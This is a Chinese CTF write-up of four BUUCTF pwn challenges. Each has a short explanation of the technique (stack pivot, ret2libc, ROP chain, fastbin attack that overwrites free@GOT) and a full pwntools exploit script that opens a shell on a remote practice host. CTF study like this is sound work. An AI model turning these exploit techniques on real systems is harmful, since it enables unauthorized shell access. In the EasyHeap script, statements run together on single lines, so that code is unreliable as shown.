PWN-PRACTICE-BUUCTF-9
- [Black Watch 入群题]PWN
- jarvisoj_level4
- picoctf_2018_rop chain
- [ZJCTF 2019]EasyHeap
[Black Watch 入群题]PWN
vul_function可以向.bss段上写数据,还可以构成栈溢出,但只能溢出8字节,覆盖ebp和eip
利用两次栈迁移
第一次栈迁移利用write函数打印出write函数的真实地址,由偏移计算libc基址,进而得到system和"/bin/sh"地址
第二次栈迁移执行system("/bin/sh")
#coding:utf-8
from pwn import *
context.arch='i386'
context.os='linux'
#io=process('./black_watch_spwn')
io=remote('node4.buuoj.cn',28976)
elf=ELF('./black_watch_spwn')
libc=ELF('./libc-2.23-x32.so')
s_addr=0x0804A300 #bss段上s的地址
leave_ret=0x08048511
write_got=elf.got['write']
write_plt=elf.plt['write']
main_addr=elf.sym['main']
payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.recvuntil('name?')
io.send(payload)
io.recvuntil('say?')
payload='a'*(0x18) #填充buf
payload+=p32(s_addr-4) #fake ebp
payload+=p32(leave_ret)#覆盖eip
io.send(payload)
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc_base=write_addr-libc.sym['write']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
io.recvuntil('name?')
payload=p32(system)+p32(main_addr)+p32(binsh)
io.send(payload)
io.recvuntil('say?')
payload='a'*(0x18)+p32(s_addr-4)+p32(leave_ret)
io.send(payload)
io.interactive()
jarvisoj_level4
32位elf栈溢出,ret2libc
from pwn import *
#io=process('./jarvisoj_level4')
io=remote('node4.buuoj.cn',27767)
elf=ELF('./jarvisoj_level4')
libc=ELF('./libc-2.23-x32.so')
main_addr=elf.sym['main']
write_plt=elf.plt['write']
write_got=elf.got['write']
payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload)
write_addr=u32(io.recv(4))
print(hex(write_addr))
libc_base=write_addr-libc.sym['write']
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search('/bin/sh\x00').next()
payload='a'*(0x88+4)+p32(system)+p32(main_addr)+p32(binsh)
io.sendline(payload)
io.interactive()
picoctf_2018_rop chain
打印flag需要win1和win2非零且传入的参数a1=0xDEADBAAD
win_function1函数将win1赋为1
win_function2函数在win1非零且传入的参数a1=0xBAAAAAAD时将win2赋为1
vuln函数中gets函数构成栈溢出
构造rop先执行win_function1,然后执行win_function2,最后执行flag
from pwn import *
#io=process('./PicoCTF_2018_rop_chain')
io=remote('node4.buuoj.cn',28567)
elf=ELF('./PicoCTF_2018_rop_chain')
win1=elf.sym['win_function1']
win2=elf.sym['win_function2']
flag=elf.sym['flag']
payload='a'*(0x18+4)+p32(win1)+p32(win2)+p32(flag)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
io.recvuntil('Enter your input> ')
io.sendline(payload)
io.interactive()
[ZJCTF 2019]EasyHeap
参考:萌新详解[ZJCTF 2019]EasyHeap,带你走进pwn世界
from pwn import *
io=remote("node4.buuoj.cn",27153)
#io=process("./easyheap")
elf=ELF("./easyheap")def create(size,content):io.sendlineafter("Your choice :","1")io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap:",content)
def edit(index,size,content):io.sendlineafter("Your choice :","2")io.sendlineafter("Index :",str(index))io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap : ",content)
def delete(index):io.sendlineafter("Your choice :","3")io.sendlineafter("Index :",str(index))heaparray=0x00000000006020E0 #.bss段上的一个地址,保存了每个chunk的地址
fake_chunk=heaparray-0x38+5 #fake chunk的prev_size字段,加上8字节后为0x7f,即fake chunk的size字段
system_plt=elf.plt["system"]
free_got=elf.got["free"]#gdb.attach(io)
#pause()create(0x10,"a"*0x10) #chunk0
create(0x10,"b"*0x10) #chunk1
create(0x60,"c"*0x10) #chunk2 因为要和fake chunk的0x7f匹配,所以是0x60
create(0x10,"/bin/sh\x00") #chunk3#pause()delete(2) #free chunk2
payload="b"*0x10+p64(0)+p64(0x71)+p64(fake_chunk)+p64(0)#让chunk2的fd指向fake chunk
edit(1,len(payload),payload)#利用堆溢出#pause()create(0x60,"c"*0x10) #chunk2
payload="d"*(0x20+3)+p64(free_got)
create(0x60,payload) #chunk4 把heaparray[0]改成了free_got#pause()payload=p64(system_plt)
edit(0,len(payload),payload)#heaparray[0]保存了free_got,free_got保存了free_plt,这里把free_plt替换成system_plt
delete(3)#system("/bin/sh\x00")#pause()io.interactive()